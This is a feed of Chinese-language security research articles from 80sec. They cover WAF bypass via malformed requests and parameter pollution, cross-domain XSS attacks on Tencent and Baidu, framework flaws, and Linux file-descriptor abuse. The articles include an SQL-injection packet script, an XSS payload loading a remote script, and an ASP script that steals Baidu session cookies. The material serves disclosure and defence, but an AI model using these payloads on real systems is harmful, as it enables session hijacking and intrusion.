在这个情况下我们不用担心CPG的注册顺序问题，但我们需要构造特定的URL，造成变量未初始化的情况才能触发XSS漏洞，这样XSS Rootkit攻击效果就大打折扣了，用户在登陆后的正常退出操作是不能触发我们的XSS漏洞的，已脱离了XSS Rookit的优势。

另外一个场景是滥用request类变量的情况，在不同脚本和服务器环境中request类变量的效果可能不同，如在我之前的《浅谈绕过WAF的数种方法》提到了asp/asp .net等request类变量有复参特性，所以gpc的内容都能同时进入注册变量，也可能会产生XSS Rootkit漏洞的情况。

最后还有一类特殊的DOM XSS情况，80sec的成员疯狗在几年前发现过，某大型网站的主页读取COOKIE中的用户ID在网页中显示并没有进行HTML编码，导致一个XSS漏洞即可在主页中安装XSS Rookit。

当然还有更多的场景，在剑心的《web应用程序中的rootkit》也都有提过，XSS Rootkit的场景我就解读到这里了，更多的场景就留给大家思维发散了。

0×05 后话

至此我们用非持久型XSS漏洞完成了一次到XSS Rootkit的转变，再一次揭示了漏洞的场景有多么重要，深掘漏洞场景完成一次本质的升华是多么美妙的事情。

程序员需要重视程序安全的每一个细节，任何一个不起眼的漏洞都可能会造成意想不到的危害。

一些web漏洞扫描器报告中提示非持久型XSS漏洞标为高危漏洞，普遍存在争议的情况，可以根据本文做参考，对场景再深入挖掘来定义风险，那么本文最重要的目的也就达到了。

0×06 参考

跨站脚本漏洞导致的浏览器劫持攻击 http://www.80sec.com/browser-hijacking.html
web应用程序中的rootkit http://www.80sec.com/webapp-rootki.html
浅谈绕过WAF的数种方法 http://www.80sec.com/%e6%b5%85%e8%b0%88%e7%bb%95%e8%bf%87waf%e7%9a%84%e6%95%b0%e7%a7%8d%e6%96%b9%e6%b3%95.html

]]> http://www.80sec.com/%e6%b7%b1%e6%8e%98xss%e6%bc%8f%e6%b4%9e%e5%9c%ba%e6%99%af%e4%b9%8bxss-rootkit-%e4%bf%ae%e8%ae%a2.html/feed 0 浅谈绕过WAF的数种方法 http://www.80sec.com/%e6%b5%85%e8%b0%88%e7%bb%95%e8%bf%87waf%e7%9a%84%e6%95%b0%e7%a7%8d%e6%96%b9%e6%b3%95.html http://www.80sec.com/%e6%b5%85%e8%b0%88%e7%bb%95%e8%bf%87waf%e7%9a%84%e6%95%b0%e7%a7%8d%e6%96%b9%e6%b3%95.html#comments Tue, 06 Sep 2011 06:28:52 +0000 admin http://www.80sec.com/?p=244 EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2011-09-06
From: http://www.80sec.com/?p=244

0×00 前言

08年初诞生了一种SQL群注攻击，黑客在全球范围内对asp，asp.net加MSSQL架构的网站进行了疯狂扫荡。由于MSSQL支持多语句注入，黑客通过一条结合游标的SQL语句就能将整个数据库的字段内容自动进行篡改，可以在网站上无差别的进行网页木马攻击。

互联网是快速更新迭代的，但是很多没有开发能力的单位都是通过外包建立网站，网站的程序一上线就再也无人维护，很多程序存在各种漏洞无法修补，于是WAF便有了市场，现今门槛低且最能解决问题的是针对IIS/apache的软件WAF，通常一个模块一个扩展就能搞定，当然也有耗资百万千万的硬件WAF，然而如果WAF拦截规则出现漏洞，这百万千万的硬件也就是一堆废铁。那么WAF是否真的可以解决所有的WEB安全问题呢？所以本文主要解析一些可以绕过WAF的罕见漏洞，供安全人员参考。

0×01 Request对象的包解析漏洞.

asp和asp.net的Request对象存在一个包解析漏洞，Request对象对于GET和POST包的解析过于宽松，用一句话表达就是Request对象它GET和POST傻傻分不清楚，稍有点web开发经验的同学应该知道Request接收GET,POST,COOKIE也就是GPC传过来的数据，但是asp和.net库内置的Request对象完全不按RFC标准来，下面我们可以做个测试：

分别将下面两段代码保存为1.asp和1.aspx

使用asp的Request对象接收t参数传值
———————————————–
＜%
Response.Write “Request:” & Request(“t”)
%＞
———————————————–

使用asp.net的Request对象接收t参数传值
———————————————–
＜%@ Page Language=”C#” %＞
＜%
string test = Request["t"];
Response.Write(“Request:”+test);
%＞
———————————————–

使用下面的python脚本调用socket发送原始的HTTP包
———————————————–
#!/usr/bin/env python

import socket

host = ’192.168.239.129′
path = ‘/1.asp’
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

exploit_packet=”t=’/**/or/**/1=1–”
exploit_packet+=”\r\n” * 8
packet_length = len(exploit_packet)
packet=’GET ‘ + path + ‘ HTTP/1.1\r\n’
packet+=’Host: ‘ + host + ‘\r\n’
packet+=’Content-Length: %s\r\n’ % packet_length
packet+=’Content-Type: application/x-www-form-urlencoded\r\n’
packet+=’\r\n’
packet = packet + exploit_packet

print packet
s.send(packet)
buf = s.recv(1000)
if buf: print buf[buf.rfind("\r\n"):]
s.close()
———————————————–

我们发送的原始包是：
GET /1.asp HTTP/1.1
Host: 192.168.239.129
Content-Length: 34
Content-Type: application/x-www-form-urlencoded

t=’/**/or/**/1=1–

结果返回如下：
Request:’/**/or/**/1=1–
将python测试脚本的path改为/1.aspx测试页返回同样结果。

我们可以看到这是一个畸形的HTTP GET请求包，这个包的奥秘在于Content-Type和Content-Length头，包的结构类似于一个POST包，而请求的方法是GET,最后asp和asp.net的Request对象成功的解析了这个畸形包取出了数据。

所以如果WAF没有处理好HTTP包的内容，沿用常规思路处理GET和POST的逻辑的话，那么这个畸形包将会毁掉WAF的基础防御。

0×02 被遗忘的复参攻击.

大家应该还记得09年的HTTP Parameter Pollution攻击，查看[3]文档，可以发现ASP/IIS和ASP.NET/IIS的场景下存在一个复参特性，本文将利用这种的特性的攻击简称为复参攻击，用0X01里的例子简单的测试一下:

用GET请求传入两个t参数
GET http://192.168.239.129/1.asp?t=1&t=2
将返回
Request:1, 2

asp和asp.net的Request对象接收了两个参数，并且以逗号分隔，所以便衍生出了[3]文档中的复参SQL注入方法：

Vulnerable code：
SQL=”select key from table where id=”+Request.QueryString(“id”)

This request is successfully performed using the HPP technique：
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

The SQL request becomes：
select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,

我们可以看到通过巧妙的运用注释符结合复参特性可以分割GET参数中的SQL注入语句，如果WAF对GET参数的处理过于简单是不是会匹配不到拦截规则呢?

0×03 高级复参攻击.

ASP.NET的Request对象有一个Params属性，ASP.NET程序员在一些程序中会使用Request.Params["xxx"]传入数据，参考[4]微软MSDN文档我们可以知道Params属性的特性，该属性接收GET,POST和Cookie的传值集合，这里我们可以修改0×01里的例子测试一下：

使用asp.net的Request.Params方法接收t参数传值
———————————————–
＜%@ Page Language=”C#” %＞
＜%
string test = Request.Params["t"];
Response.Write(“Request:”+test);
%＞
———————————————–

发送一个POST包，GET,POST,COOKIE三个方法中都带有不同的t参数内容
———————————————–
POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1
Host: 192.168.239.129
Cookie: t=2

t=3
———————————————–

结果返回
Request:1,3,2

最后得出结论，Request.Params方法接收的数据是按照GPC顺序整合，看到这里的同学再联想到0×02的复参攻击应该如醍醐灌顶了，我们可以将SQL攻击语句拆分到GET,POST,COOKIE三个变量里进行组合攻击。想一想WAF针对这种高级复参攻击是否防御好了？

0×04 后话

WAF是不可能解决所有安全问题的，本文的思路归其本源实际上是描叙了WAF处理HTTP包与服务端处理HTTP包数种差异。互联网是不断更新迭代的，差异存在，类似的漏洞也会存在。
本文提到了三种绕过WAF的思路，第一种是我的原创属于0DAY状态，第二种是参考已有的复参攻击，其中第三种高级复参攻击是由Safe3同学提出的，本文也是与Safe3同学讨论他开发的WAF的BUG而来，所以感谢Safe3同学。
另外请大家不要将本文的内容用于非法途径，仅供安全人员参考，谢谢。

参考：
[1].http://www.faqs.org/rfcs/rfc2616.html
[2].http://www.w3school.com.cn/asp/asp_ref_request.asp
[3].http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf
[4].http://msdn.microsoft.com/en-us/library/system.web.httprequest.aspx

]]> http://www.80sec.com/%e6%b5%85%e8%b0%88%e7%bb%95%e8%bf%87waf%e7%9a%84%e6%95%b0%e7%a7%8d%e6%96%b9%e6%b3%95.html/feed 0 浅谈跨域WEB攻击 http://www.80sec.com/cross_domain_attack.html http://www.80sec.com/cross_domain_attack.html#comments Fri, 08 Apr 2011 09:03:53 +0000 admin http://www.80sec.com/?p=201 浅谈跨域web攻击

EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2011-04-07
From: http://www.80sec.com

0×00 前言

一直想说说跨域web攻击这一概念，先前积累了一些案例和经验，所以想写这么一篇文档让大家了解一下跨域web攻击，跨域web攻击指的是利用网站跨域安全设置缺陷进行的web攻击，有别于传统的攻击，跨域web攻击可以从网站某个不重要的业务直接攻击和影响核心业务。

传统的安全思维教会我们按资产、功能等需求划分核心业务，优先保护核心业务等，非核心业务的安全等级一般没有核心业务高，给我们错觉是非核心业务受到攻击的话，所造成损失不会很大，也不会影响到核心业务，所以让安全工作者了解跨域web攻击这一概念还是非常有意义的。

0×01 基于ajax跨域设置的跨域攻击

使用ajax技术让人头痛的地方就是如何跨域，受同源策略所限不同域名包括子域名在内是无法进行AJAX请求的，随后衍生出一类技术可以通过设置document.domain实现跨域。如a.test.com和b.test.com,当两个网站通过javascript操作DOM接口 document.domain=’test.com’ 将网站的域设置为test.com后，两个网站就处于同一个域内，可以进行各种跨域操作。在开发人员方面这是很方便的跨域技术，但是在攻击者眼中这简直就是一个大后门，黑客只需要找到*.test.com下任意一个XSS漏洞，在任意一个子域名里的网页都可以跨域攻击a.test.com和b.test.com。


ajax跨域设置另外一个重点是这种跨域设置还会影响到窗口引用关系的同源策略，如腾讯微博网站进行了document.domain=’qq.com’的跨域设置，我们可以针对腾讯微博做个实验，在自己的腾讯微博http://t.qq.com/中发任意一个*.qq.com的网站的链接(如：http://www.qq.com），在腾讯微博中打开这个网站，然后在地址栏内用javascrit伪协议运行如下的脚本，你会发现腾讯微博所在的网页被注入了一个alert提示框：

javascript:window.opener.eval('alert(/xss/)');

最后得出结论，由于腾讯微博网站进行了跨域设置，所以*.qq.com下的任意一个和腾讯微博有窗口引用关系的网页，都可以往腾讯微博跨域注入脚本运行。

案例：腾讯单点登录系统跨域劫持漏洞

QQ的客户端安装了一个快速登录插件，在客户端已登录且QQ.exe在运行的状态下,这个快速登录插件可以自动生成一个和QQ号对应的密钥，在IE浏览器访问QQ网站的各个应用时通过这个密钥可以免密码一键登录网站。我经过分析发现，这个快速登录插件最大的安全措施是生成密钥的关键函数设置了一个信任域xui.ptlogin2.qq.com，也就是在xui.ptlogin2.qq.com的网页中我们才可以使用这个插件生成密钥。快速登录插件的这个信任域安全措施本意是阻止其他非安全域的网页调用这个插件，而开发人员却在xui.ptlogin2.qq.com的一个网页写入了document.domain=’qq.com’的跨域设置，结果导致这个信任域形同虚设。通过QQ任意分站的一个XSS漏洞我们就能攻击xui.ptlogin2.qq.com，首先给分站的网页进行跨域设置，然后通过框架页嵌入xui.ptlogin2.qq.com的跨域设置页，由于两个网页都设置了同一个域，同源策略生效，那么就可以跨域操作框架注入脚本到xui.ptlogin2.qq.com的域内运行。部分攻击代码如下：

http://product.tech.qq.com/simp_search.php?keyword="></script><script/src=http://127.0.0.1/xss.js></script>

xss.js的内容：

window.name ='......' // xui.ptlogin2.qq.com域内运行的攻击脚本省略
document.domain='qq.com'; //跨域设置
function exploit(){crossQQdomain.location = "javascript:eval(window.parent.name);void(0)";} //在id为crossQQdomain的框架中通过伪协议注入脚本
document.write("<iframe id='crossQQdomain' src='http://xui.ptlogin2.qq.com/*.html' onload=exploit()></iframe>");

通过window.name内设置的是调用快速登录插件攻击脚本代码，被攻击者访问了我们的跨站链接后，我们就可以获取到QQ的一键登录密钥，后果不可想象。

0×02 基于cookie安全的跨域攻击

以前关于csrf的文档提过cookie的“同源策略”，实际上这个只是含糊的说明了cookie的domain字段的作用。cookie的domain字段和浏览器约定俗成，如一般cookie的domain字段被默认设置为www.test.com, 二级域名*.test.com下就无法访问这个cookie，所以很多网站就将cookie的domain字段设置为.test.com解决二级域名的cookie读取问题。

案例：第三方分站沦陷导致的百度cookie安全问题

在百度的passport登录以后，百度会给客户端设置一个名为BDUSS的cookie值，这个值的domain字段是.baidu.com，如下：

set-cookie: BDUSS=EVaS0YtVW91NUFnNktNNDhCeUxZelByZ2t6VnNqc2VKNDhqanhXV0Q1a1p4TVJOQVFBQUFBJCQAAAAAAAAAAApBESM9lhgAcmF5c3R5bGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgekV4AAAAAOB6RXgAAAAAcF1CAAAAAAAxMC42NS4yNBk3nU0ZN51gh; expires=Tue, 01 Jan 2030 00:00:00 GMT; path=/; domain=.baidu.com

这个cookie是百度众多的二级域名共享的身份认证cookie，在某个巧合下我发现了百度第三方网站http://zhishang.baidu.com的漏洞，控制了zhishang.baidu.com的主机，这个网站的域名刚好属于百度的子域名,那么服务端是可以收到BDUSS这个关键cookie的，由于主机是IIS，于是写了个简单的收集HTTP请求头中cookie值的asp脚本，部分攻击代码如下：

<%
Dim sp,i,rf
sp = split(request.ServerVariables("HTTP_COOKIE"),"; ",-1,1) #通过服务器变量获取HTTP请求头中的COOKIE值
rf = Request.ServerVariables("HTTP_REFERER")
For i=0 to UBound(sp)
if instr(sp(i),"BDUSS")>0 then
txtfile=server.mappath("log.txt")
set fso = CreateObject("Scripting.FileSystemObject")
set MyFile = fso.opentextfile(txtfile,8,True,0)
MyFile.Writeline(date()&" "&time()& " "& rf)
MyFile.Writeline(sp(i)& Chr(13))
MyFile.Close
set fso = nothing
Response.cookies("BDUSS")="delete"
Response.cookies("BDUSS").Path="/"
Response.cookies("BDUSS").Expires=(now()-1)
Response.cookies("BDUSS").Domain = ".baidu.com"
end if
next
response.redirect "http://static.tieba.baidu.com/tb/editor/images/tsj/t_0028.gif" # 302转跳到真实的图片
%>

将http://zhishang.baidu.com/c.asp#.gif（#是url注释）这样的链接当成图片发布在百度贴吧、百度HI等的帖子或日志中，被攻击者如果访问了嵌入了类似图片链接的网页，浏览器将会向zhishang.baidu.com的脚本发起一个GET请求，这个请求会带上BDUSS值的cookie，服务端的脚本获取这个cookie后，攻击者就可以在另一方利用这个cookie伪造被攻击者的身份使用百度相关的服务。

0×03 跨域web攻击的思考

跨域web攻击还有很多种，本文只提到了危害比较大的两种，案例中所提到的漏洞也已经修复。本文没有再提到这类攻击的防御措施，因为这类web攻击已经有别于传统的单点攻击，实际上国内外各大网站和web程序都存在类似的安全问题，这类安全问题不是一个单独的个例，而是从网站架构开始就需要考虑的安全问题。

本文的目的并不是交大家如何利用跨域web攻击，而是希望大家通过这类安全问题思考更多，让大家意识到现实的网络并没有绝对的安全，我们面临的web安全问题依然严峻，应用和安全是一个对立面，我们需要在应用和安全中间找到一个平衡点。

0×04 参考

腾讯单点登录系统跨域劫持漏洞 http://www.wooyun.org/bugs/wooyun-2010-0118
百度认证机制问题分析与利用 http://www.wooyun.org/bugs/wooyun-2010-0253

]]> http://www.80sec.com/cross_domain_attack.html/feed 0 Web开发框架安全杂谈 http://www.80sec.com/security-about-framework.html http://www.80sec.com/security-about-framework.html#comments Tue, 15 Mar 2011 14:21:03 +0000 admin http://www.80sec.com/?p=195 route分发->controller接管处理用户输入及业务逻辑->view层代码执行->controller返回展现结果 从上面的流程发现了什么？ MVC模型就是一个将程序员分散在M、C、V中的代码寻找并整合在一起执行的过程。那这必然就要牵涉到一个代码调度执行的问题。这里route就是一个非常明显的例子。一个框架这么多代码文件，route每一次调用controller，都需要根据用户输入的url进行匹配并执行用户指定的函数。这里就是一个薄弱点，一个必然绕不过去的问题。 对应到现实的例子，一个非常明显的例子就是：struts2框架的动态方法调用（DMI） 当你访问www.test.com/a!test.action时，struts会根据你的url帮你映射到名为a的controller中名为test的Action方法。而通过修改test的值，我们可以访问a这个类中的所有方法。如果恰好这个方法中含有敏感的信息，攻击者就获得了一切。结合其他技巧，攻击者能够做到的更多。但这就是框架的功能，框架总是要依靠URL中的内容去匹配执行程序代码。 那么对于PHP的框架呢？仔细想一下，如果PHP需要做分散在不同文件中的代码调度执行，唯一能够实现的方式就是使用require/include函数包含文件。文件名来源于哪里？来源于用户输入的URL。实际上目前市面上的大部分PHP框架也都是这么实现的，Yii，FleaPHP等等。如果对用户的输入没有做好验证，就很容易导致一个本地文件包含漏洞。笔者曾经就在某不知名框架中发现过这样的漏洞，在不涉及应用程序逻辑的情况下，直接获取了系统权限。 2、统一化逻辑处理 框架的一大功能就是，通过统一的入口点，可以做一些统一的安全防护、逻辑控制。在软件工程学里的说法，这个叫“面向切面编程”（AOP）。 然而我们并不是说这样的统一控制模式不好，但对于这样的统一控制，如果框架设计或实现的不好，就能直接沦陷所有跑在之上的应用。 这里有一个典型的统一处理导致安全问题的极端的例子：struts2任意代码执行漏洞。 漏洞起因是struts2希望能让用户提交的值能够直接注入到程序中的数据对象，而无需手动类型转换并给内部变量赋值等操作。为此struts2专门设计了一个叫做ognl的表达式。通过它，用户提交的参数就能被自动解析为程序上下文中所存在的变量。 想想为什么能够自动解析？原因是用户提交的参数被当作自定义语言的代码被解析执行了！只是你并没有意识到这一点而已。于是有心人研究了一下，发现ognl表达式除了参数值注入，还能通过它直接调用Java自身的API。于是，一个巨大的通杀0day就这么诞生了。 回想一下，如果struts2没有这么“智能”的自动化、统一化用户输入处理机制，也就不会出现上述的大漏洞了。 前段时间爆出的Django的csrf token绕过漏洞也是在统一安全处理的设计上出的问题。深究一下，为什么会出现这样的绕过问题？原因就是，框架必须要对所有用户的提交在真正的应用执行前做统一的csrf防范，于是django框架产生的token是保存在cookie中的（老版本和sessionid有关，这个也是保存在cookie中）。对于用户提交的POST请求，表单中增加一项token，框架在获得token值后，与cookie中的正确token值比对，如果相等就通过。然而对于ajax的请求，框架设计者却想当然的认为只要判断X-Requested-With这个Ajax特有的HTTP头即可，根本无需运算比对token。所以，框架对于http头中包含有X-Requested-With域的请求放行。通常情况下，只有ajax的请求浏览器才会带上此自定义域，且浏览器一般无法自定义此字段。 结果被人发现可以利用flash+307跳转可以伪造自定义http头，结果就绕过了此防范，导致统一的csrf防护毫无作用。如果应用程序完全依靠框架的统一安全实现，就会受到安全漏洞的威胁。 其实Django也很无奈，在它的架构设计中，它通过这个自定义头判断ajax思路上也没有什么问题。可惜在目前连黄瓜都不可靠的年代，就没什么是可靠的了。 3、常见代码高度封装 [...]]]> Web开发框架安全杂谈

EMail: wofeiwo#80sec.com
Site: http://www.80sec.com
Date: 2011-03-14
From: http://www.80sec.com/

[ 目录 ]
0×00 起
0×01 承
0×02 转
0×03 合

0×00起

最近框架漏洞频发，struts任意代码执行、Django csrf token防御绕过、Cakephp代码执行等等各大语言编程框架都相继暴出高危漏洞，这说明对于编程框架的安全问题已经逐渐走入安全工作者的视线。
Web开发框架就相当于web应用程序的操作系统，他决定了一个应用程序的模型结构和编程风格。框架上出了漏洞，就如同当年一个rpc远程EXP就走遍全世界windows的时代。

然而挖掘深层原因，从应用的模型和架构上考虑问题，其实这些框架漏洞都不只是一种偶然，而是一种必然。正是因为框架的模型结构，正因为他们的这种编程风格，才极大的增加了漏洞产生的可能性。

0×01承

现代编程框架的几个大特点：

1、将程序代码分为不同层次，业务开发、前端开发、数据库开发人员各司其职，框架根据需要组装代码、调度执行
2、统一化自动化逻辑处理
3、常见功能的代码库封装并高度重用
4、脚手架功能，常见代码组件自动组装生成。如默认用户系统、默认后台。

然而就是以上几点广受好评的功能导致了安全薄弱点的产生。

1、代码调度
让我们来先回顾一下WEB应用框架所最常见的MVC模型。

用户发送一个HTTP请求过来，框架的入口点（一般是route，路由）分析用户请求的url。然后依照url中蕴含的信息分析出用户所要访问的controller、action，从而分发给相应的controller文件中的action函数，执行之；随后controller再将model中的数据结合用户输入数据依照view层中的代码逻辑填充模板，最后view、controller执行完毕，返回用户最后的HTML。
整个生命周期是这样的：

用户请求url->route分发->controller接管处理用户输入及业务逻辑->view层代码执行->controller返回展现结果

从上面的流程发现了什么？
MVC模型就是一个将程序员分散在M、C、V中的代码寻找并整合在一起执行的过程。那这必然就要牵涉到一个代码调度执行的问题。这里route就是一个非常明显的例子。一个框架这么多代码文件，route每一次调用controller，都需要根据用户输入的url进行匹配并执行用户指定的函数。这里就是一个薄弱点，一个必然绕不过去的问题。

对应到现实的例子，一个非常明显的例子就是：struts2框架的动态方法调用（DMI）
当你访问www.test.com/a!test.action时，struts会根据你的url帮你映射到名为a的controller中名为test的Action方法。而通过修改test的值，我们可以访问a这个类中的所有方法。如果恰好这个方法中含有敏感的信息，攻击者就获得了一切。结合其他技巧，攻击者能够做到的更多。但这就是框架的功能，框架总是要依靠URL中的内容去匹配执行程序代码。

那么对于PHP的框架呢？仔细想一下，如果PHP需要做分散在不同文件中的代码调度执行，唯一能够实现的方式就是使用require/include函数包含文件。文件名来源于哪里？来源于用户输入的URL。实际上目前市面上的大部分PHP框架也都是这么实现的，Yii，FleaPHP等等。如果对用户的输入没有做好验证，就很容易导致一个本地文件包含漏洞。笔者曾经就在某不知名框架中发现过这样的漏洞，在不涉及应用程序逻辑的情况下，直接获取了系统权限。

2、统一化逻辑处理

框架的一大功能就是，通过统一的入口点，可以做一些统一的安全防护、逻辑控制。在软件工程学里的说法，这个叫“面向切面编程”（AOP）。
然而我们并不是说这样的统一控制模式不好，但对于这样的统一控制，如果框架设计或实现的不好，就能直接沦陷所有跑在之上的应用。

这里有一个典型的统一处理导致安全问题的极端的例子：struts2任意代码执行漏洞。
漏洞起因是struts2希望能让用户提交的值能够直接注入到程序中的数据对象，而无需手动类型转换并给内部变量赋值等操作。为此struts2专门设计了一个叫做ognl的表达式。通过它，用户提交的参数就能被自动解析为程序上下文中所存在的变量。
想想为什么能够自动解析？原因是用户提交的参数被当作自定义语言的代码被解析执行了！只是你并没有意识到这一点而已。于是有心人研究了一下，发现ognl表达式除了参数值注入，还能通过它直接调用Java自身的API。于是，一个巨大的通杀0day就这么诞生了。
回想一下，如果struts2没有这么“智能”的自动化、统一化用户输入处理机制，也就不会出现上述的大漏洞了。

前段时间爆出的Django的csrf token绕过漏洞也是在统一安全处理的设计上出的问题。深究一下，为什么会出现这样的绕过问题？原因就是，框架必须要对所有用户的提交在真正的应用执行前做统一的csrf防范，于是django框架产生的token是保存在cookie中的（老版本和sessionid有关，这个也是保存在cookie中）。对于用户提交的POST请求，表单中增加一项token，框架在获得token值后，与cookie中的正确token值比对，如果相等就通过。然而对于ajax的请求，框架设计者却想当然的认为只要判断X-Requested-With这个Ajax特有的HTTP头即可，根本无需运算比对token。所以，框架对于http头中包含有X-Requested-With域的请求放行。通常情况下，只有ajax的请求浏览器才会带上此自定义域，且浏览器一般无法自定义此字段。
结果被人发现可以利用flash+307跳转可以伪造自定义http头，结果就绕过了此防范，导致统一的csrf防护毫无作用。如果应用程序完全依靠框架的统一安全实现，就会受到安全漏洞的威胁。
其实Django也很无奈，在它的架构设计中，它通过这个自定义头判断ajax思路上也没有什么问题。可惜在目前连黄瓜都不可靠的年代，就没什么是可靠的了。

3、常见代码高度封装

代码的高度封装，对外只暴露几个接口，一行说明书。这必然造成一种现象：普通程序员就像是在搭建一个模型，只要按照说明书组建积木就可以了，不需要知晓其原理，不需要知道为什么要这样做。于是这时候就安全问题就产生了。

举一个同样在用户输入参数自动化处理方面的例子：在PHP的ZendFramework中，获取用户输入是调用getParam方法，而不是常见PHP程序中分开来的$_GET、$_POST等变量。那么，如果同时在GET、POST、COOKIE、HEADER中提交相同名字的参数，getParam到底获取的是哪一个的值？先后顺序是什么？如果前后可以覆盖，会不会影响到我们自定义的一些统一安全措施？这是一个值得检查的安全薄弱点。

再举一个struts2的例子：对于常见的文件上传场景，struts提供了一个FileUploadInterceptor拦截器，直接可以在应用逻辑运行前对用户上传文件进行检查。然而在笔者的代码审计经验中，常常发现程序员只对maximumSize（文件大小）和allowedTypes（文件mime-type）进行限制，却放过了最关键的allowedExtensions（扩展名）限制。为什么？笔者检查了一下官方文档，发现在struts2.2之前的文档，都没有给出allowExtensions的说明。或许struts开发者想当然的认为allowedTypes就可以限制上传文件的类型，殊不知只要伪造HTTP包中的mime-type字段，就可以直接上传任意文件。于是开发者也就依照官方的例子，只限制了allowdTypes，从而导致安全问题的产生。

高度代码封装的确解决了“重复造轮子”的问题，但是它解决不了程序员的安全意识和懒惰的习惯。或许它设计的很好，或许它实现的也很好，但是只要它组装的不好，就有可能造成问题。

4、脚手架功能

Django的脚手架功能是非常好用的。它默认自带了一些app，只要通过几个简单的命令或配置，就可以在不敲一句代码的情况下搭起一个普通网站的脚手架，自带了用户注册、登陆等系统，甚至还有一个默认的管理员后台。

然而正如上文所说，普通程序员并不了解框架真正做了些什么。他很有可能通过脚手架生成网站后，却直接忘却了程序自带的内容没有去除。当这样的网站上线后。我们发现他是Django所写，那我们就可以直接尝试在url后加入/admin/路径访问，直接猜解后台管理员密码。此外如果框架自带的默认后台出现安全漏洞，甚至可能直接绕过进入后台。

一旦使用框架默认的组件，就得考虑到框架所带来的默认功能的安全问题。其实这问题可以扩大，tomcat自带的后台、fck编辑器自带的上传组件，都可以说属于此类问题。

0×02转

框架的应用是软件开发的必然趋势，本文的目的也不在于抵制框架的使用。但对于框架应用后所带来的新安全问题，安全从业人员需要提高重视，紧跟技术发展，更新知识。对于此，我们能够做点什么？

1、 对于常见的应用场景，如文件操作、命令行操作、数据库操作、用户权限及认证等，我们需要了解框架的实现，给出相应的安全编码范例。

框架文档中给出的例子并不一定就是最好的。安全工作者必须对程序员进行安全意识的培训，让他知道如何利用框架的API去安全的组合出常用功能。

2、 对于应用漏洞挖掘，我们需要扩充字典。

框架的封装，可能引入更多的危险API或危险特性。在代码审计的过程中，需要将这些内容加入到危险词字典中。

3、 对于应用漏洞挖掘，由于框架结构所带入的新的安全薄弱点，需要专门对框架的设计及实现做检查，是否存在问题。

例如PHP框架中代码调度执行的实现、文件上传统一检查的实现、封装的变量获取形式是否可靠等。本文中提到的安全薄弱点只是一个例子，更多的还需要大家的共同挖掘。

0×03合

实际上对于一个应用的安全审计归根到底就是个思路问题。笔者一直认为，了解程序员的思路，了解框架的思路，了解应用的思路，这些才是安全审计中最花时间的。而实际上真枪实弹看代码的漏洞挖掘却只占用很小的一部分时间。
只有将这些思路融会贯通，在脑中将审计对象进行抽象建模，了解应用需要保护什么，弱点在哪里，才能更为有效和有针对性的进行代码审计、安全防护。
最后，非常感谢剑心及空虚浪子心之前的研究成果和意见，对本文的帮助极大

]]> http://www.80sec.com/security-about-framework.html/feed 0 Linux 系统文件描述符继承带来的危害 http://www.80sec.com/security-issue-on-linux-fd-inheritance.html http://www.80sec.com/security-issue-on-linux-fd-inheritance.html#comments Tue, 23 Nov 2010 11:02:26 +0000 admin http://www.80sec.com/?p=176 Linux 系统文件描述符继承带来的危害

EMail: wofeiwo#80sec.com
Site: http://www.80sec.com
Date: 2010-11-20

[ 目录 ]
0×00 背景
0×01 POC
0×02 深入利用
0×03 解决方案及后话

0×00 前言

在初学linux编程的时候，都会知道这样一个概念：当你用fork建立一个子进程，父进程的所有内容会被“完完整整”的复制到子进程中。子进程是父进程的一个clone体，除了pid不同，其余一切相同。
再试想一下这样的场景：在Webserver中，首先会使用root权限启动，以此打开root权限才能打开的端口、日志等文件。然后降权到普通用户，fork出一些worker进程，这些进程中再进行解析脚本、写日志、输出结果等进一步操作。
然而这里，仔细思考一下，就会发现隐含一个安全问题：子进程中既然继承了父进程的FD，那么子进程中运行的PHP或其他脚本只需要继续操作这些FD，就能够使用普通权限“越权”操作root用户才能操作的文件。

0×01 POC

为了验证这个想法，我们做了一个POC。测试环境apache2.2.4+mod_php 5.2.14
首先我们查看任意一个apache的worker进程的fd:

[root@testplat ~]# pidof httpd
11117 21009 10472
[root@testplat ~]# cd /proc/21009/fd
[root@testplat fd]# ls -alh
dr-x------ 2 root root 0 11ÔÂ 11 16:44 .
dr-xr-xr-x 4 daemon daemon 0 11ÔÂ 11 16:42 ..
lr-x------ 1 root root 64 11ÔÂ 11 16:44 0 -> /dev/null
l-wx------ 1 root root 64 11ÔÂ 11 16:44 1 -> /dev/null
l-wx------ 1 root root 64 11ÔÂ 11 16:44 2 -> /usr/local/apache2/logs/error_log
lrwx------ 1 root root 64 11ÔÂ 11 16:44 3 -> socket:[155615]
lr-x------ 1 root root 64 11ÔÂ 11 16:44 4 -> pipe:[155625]
l-wx------ 1 root root 64 11ÔÂ 11 16:44 5 -> pipe:[155625]
l-wx------ 1 root root 64 11ÔÂ 11 16:44 6 -> /usr/local/apache2/logs/error_log
l-wx------ 1 root root 64 11ÔÂ 11 16:44 7 -> /usr/local/apache2/logs/access_log
lr-x------ 1 root root 64 11ÔÂ 11 16:44 8 -> eventpoll:[166489]
[root@testplat fd]# ps aux | grep httpd
root 10472 0.0 0.0 74300 2524 ? Ss Nov11 0:04 /usr/local/apache2/bin/httpd -k start
daemon 21009 0.0 0.0 74476 4492 ? S Nov11 0:00 /usr/local/apache2/bin/httpd -k start
daemon 11117 0.0 0.0 74360 4028 ? S Nov12 0:00 /usr/local/apache2/bin/httpd -k start
root 31101 0.0 0.0 51208 456 pts/0 R+ 14:07 0:00 grep httpd

如上所示，果然在apache的子进程中保存了日志的句柄，apache自身是daemon权限，而这两个句柄则是root身份打开的。我们试试利用php fork出来一个进程是否能够继续“越权”写入此句柄。

<?php system("echo 12345 >&6");?>

访问一下，看看是不是的确将12345写入到了root的errorlog中。

[root@testplat htdocs]# tail ../logs/error_log
[Fri Nov 12 13:54:32 2010] [error] [client 172.21.153.169] request failed: error reading the headers
[Fri Nov 12 18:12:53 2010] [error] [client 172.21.153.169] request failed: error reading the headers
12345
[root@testplat htdocs]# ls -alh ../logs/error_log
-rw-r--r-- 1 root root 34M 11ÔÂ 15 14:54 ../logs/error_log

